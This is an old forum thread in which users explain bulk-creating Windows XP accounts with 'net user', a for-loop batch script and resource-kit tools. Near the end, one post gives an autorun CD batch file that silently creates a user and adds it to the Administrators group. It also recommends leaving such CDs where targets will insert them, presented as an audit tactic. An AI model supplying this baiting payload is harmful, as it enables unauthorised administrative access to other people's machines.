Adding XP users in command prompt

I'm trying to remember how to add XP users from the command prompt and coming up empty.

I'm attempting to add a ton of users via a text file so I don't have to type things in manually on every machine.

Also, I'm wondering if there's a flag in the command prompt that I can set to now show accounts in the welcome screen. I know how to do it all in the administration panel, but I'm trying to do this on multiple machines, so writing a script is my best option.

Any help or links are appreciated.

net user add [Username] [Password | *] [options] [/Domain]

- Noia

The windows 2000 server resource kit (http://www.microsoft.com/windows2000...er/S_tools.asp )

includes addusers.exe, I think this is what you are looking for... however I don't run XP so I don't know if it is compatible or if a resource kit exists for XP and to be honest I am too tired to look right now, however I hope this sets you in the right direction.
best of luck

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I'm attempting to add a ton of users via a text file so I don't have to type things in manually on every machine.

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Are we to assume from that that they're local users not domain users?

Unless you have some special reason you are probably better off adding them to a domain (NT4 or Active Directory). The "net user" command mentioned by Noia will work to add local users or domain users depending on the options.

You can add users en-masse using a simple script that uses "net user" - for instance a batch file or perl script.

simple script:

for /F "tokens=1,2" %x in (yourfile.txt) DO net user add %x %y [options] [/Domain]

if used in a batch file use %%x and %%y

I'm adding them locally on 2 or 3 XP boxes in a peer to peer network, but want all the user on each station, so I just created a text file with usernames (and pre-generated passwords) that I'd like to add to each machine.

I also have a few administrative accounts as well that I dont want to show up in the XP welcome screen (in case it gets turned on)...are there flags for that in the net user command?

net user username password /add (add user)
net localgroup administrators username /add (upgrade your popedom)

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net user add [Username] [Password | *] [options] [/Domain]

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Like Noia said by using the net command you shoudl be able to achieve this very easily.

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net user add [Username] [Password | *] [options] [/Domain]

- Noia

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Hey Noia, and Tedob1 thanks a lot.

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simple script:

for /F "tokens=1,2" %x in (yourfile.txt) DO net user add %x %y [options] [/Domain]

if used in a batch file use %%x and %%y

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Thanks,

np :)

Disclaimer: This info is to be used strictly for testing systems which you have written permission to do so, or that you own.

For testing purposes, you can burn a cd with some data and a batch file with the info below. Point your autorun.inf to the batch file.


echo= off
net user username password /add && net localgroup Administrators username /add
exit

There's a whole lot of things you could do in a batch script. This is useful when doing an audit, because chances are, if you don't have access to the target machine, leaving cd's like these around and giving them interesting names are likely to get them thrown into the cd-drive.


--PuRe

I remember there is a command-line tool named csvde. You can use it if you are using one of the windows 2000 server family platform just like 2000server on which the AD had been installed. The tool can help you creating lots of new users from a .csv file into AD database.